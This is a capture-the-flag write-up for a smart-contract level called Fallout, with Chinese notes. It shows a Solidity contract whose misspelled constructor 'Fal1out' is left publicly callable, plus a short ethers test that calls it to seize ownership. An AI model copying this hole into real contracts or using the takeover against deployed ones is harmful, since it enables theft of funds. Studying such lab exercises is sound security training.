LEVEL 2 (Fallout)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
通关要求
1.owner设为player
要点
文字打错 - -!
解题思路
旧版的构造函数名,打错了 Fal1out。新版的用constructor了
直接调用方法即可
it("attacks", async function () {
await levelContract.connect(player).Fal1out({
value: ethers.utils.parseEther("0.0001").toNumber(),
});
});
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